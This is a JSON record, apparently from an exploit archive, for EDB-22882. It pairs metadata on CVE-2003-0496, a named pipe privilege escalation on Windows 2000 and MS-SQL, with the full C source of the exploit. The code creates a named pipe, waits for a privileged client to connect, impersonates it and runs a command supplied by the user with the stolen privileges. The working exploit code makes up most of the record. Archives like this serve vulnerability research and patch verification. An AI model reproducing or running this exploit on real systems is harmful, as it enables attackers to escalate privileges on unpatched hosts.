{"exploit":{"id":"EDB-22882","name":"Microsoft Windows Server 2000 - CreateFile API Named Pipe Privilege Escalation (1)","description":"Microsoft Windows Server 2000 - CreateFile API Named Pipe Privilege Escalation (1)","cves":["CVE-2003-0496"],"author":"Maceo","published":"2003-07-08","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/22882","path":"exploits/windows/local/22882.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-22882.c","vulnerabilities":[{"id":"CVE-2003-0496","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft SQL Server before Windows 2000 SP4 allows local users to gain privileges as the SQL Server user by calling the xp_fileexist extended stored procedure with a named pipe as an argument instead of a normal file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0496","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0496"},"updatedAt":"2024-08-08T01:58:11.063Z","retrievedAt":"2026-11-26T22:54:55.958Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-22882.png?v=2","url":"https://exploitbin.com/exploits/EDB-22882","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-22882/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-22882/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/8128/info\n\nIt has been reported that Microsoft Windows does not properly handle named pipes through the CreateFile API. Because of this, an attacker may be able to gain access to the SYSTEM account.\n\n\n/*  tac0tac0.c - pay no attention to the name, long\nstory...\n  *\n  *  Author:  Maceo\n  *  Modified to take advantage of CAN-2003-0496 Named\nPipe Filename\n  *  Local Privilege Escalation Found by @stake. Use with\ntheir Advisory.\n  *  -wirepair@sh0dan.org http://sh0dan.org\n  *\n  *\n  *  All credits for code go to Maceo, i really did\nminimal work\n  *  with his code, it took me like 3 seconds heh.\n  *  Shouts to #innercircle,\n  *\n  */\n\n\n#include <stdio.h>\n#include <windows.h>\n\n\nint main(int argc, char **argv)\n{\n   DWORD dwNumber = 0;\n   DWORD dwType = REG_DWORD;\n   DWORD dwSize = sizeof(DWORD);\n\n   if (argc != 2) {\n\t  fprintf(stderr, \"Usage: %s <cmd.exe>\\nNamed Pipe Local\nPriv Escalation found by @stake.\\n\"\n\t\t\t\t\t   \"This code is to be used with MS-SQL exactly as\noutlined in their advisory\\n\"\n\t\t\t\t\t   \"All credit for this code goes to Maceo, he did a\nfine job.. -wire\\n\",argv[0]);\n\t\t\t\t\t   exit(1);\n   }\n   // build the next named pipe name //\n   char szPipe[64];\n   //sprintf(szPipe, \"\\\\\\\\.\\\\pipe\\\\net\\\\NtControlPipe%lu\",\n++dwNumber);\n   sprintf(szPipe, \"\\\\\\\\.\\\\pipe\\\\poop\");\n\n   // create the named pipe before scm can //\n   HANDLE hPipe = 0;\n   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,\n                            PIPE_TYPE_MESSAGE|PIPE_WAIT,\n                            2, 0, 0, 0, NULL);\n   if (hPipe == INVALID_HANDLE_VALUE)\n   {\n     printf (\"Failed to create named pipe:\\n  %s\\n\",\nszPipe);\n     return 3;\n   }\n\n\n   ConnectNamedPipe (hPipe, NULL);\n\n   // assume the identity of the client //\n   if (!ImpersonateNamedPipeClient (hPipe))\n   {\n     printf (\"Failed to impersonate the named pipe.\\n\");\n     CloseHandle(hPipe);\n     return 5;\n   }\n\n\n   // display impersonating users name //\n   dwSize  = 256;\n   char szUser[256];\n   GetUserName(szUser, &dwSize);\n   printf (\"Impersonating: %s\\n\", szUser);\n\n   system(argv[1]);\n   CloseHandle(hPipe);\n   return 0;\n}","sha256":"bed05dc94bb879c5721d916f3a6a63c9b7a14dccf50ea8cf20478574125ecb48","bytes":2162,"fetchedAt":"2026-11-27T12:10:30.280Z","encoding":"utf-8 (display only; download retains original bytes)"}